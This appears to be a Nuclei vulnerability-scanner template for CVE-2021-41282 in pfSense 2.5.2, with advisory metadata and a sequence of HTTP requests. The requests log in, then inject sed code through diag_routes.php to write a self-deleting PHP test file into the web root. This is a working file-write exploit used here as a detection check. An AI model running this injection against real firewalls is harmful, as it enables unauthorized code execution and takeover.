66 lines
2.8 KiB
YAML
66 lines
2.8 KiB
YAML
id: CVE-2021-41282
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info:
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name: pfSense - Arbitrary File Write
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author: cckuailong
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severity: high
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description: |
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diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized modification of critical system files, potentially resulting in a complete compromise of the pfSense firewall.
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remediation: |
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Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.
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reference:
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- https://www.shielder.it/advisories/pfsense-remote-command-execution/
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- https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/
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- https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41282
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- https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2021-41282
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cwe-id: CWE-74
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epss-score: 0.97305
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epss-percentile: 0.9986
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cpe: cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:*
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metadata:
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max-request: 4
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vendor: pfsense
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product: pfsense
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tags: cve2021,cve,pfsense,rce,authenticated
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http:
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- raw:
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- |
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GET /index.php HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /index.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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__csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=
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- |
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GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /test.php HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- "contains(body, 'c3959e8a43f1b39b0d1255961685a238')"
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- "status_code==200"
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condition: and
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extractors:
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- type: regex
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name: csrf_token
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group: 1
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regex:
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- '(sid:[a-z0-9,;:]+)'
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internal: true
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part: body
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# digest: 4b0a00483046022100b22b55fdb5766d919894391f7177aae918603c8c010a1c3dc548f96ef4a45c4d022100db611b361bcb272bcc4771ae5352992d3c7c34007b9abb407fa3339df77adcb8:922c64590222798bb761d5b6d8e72950 |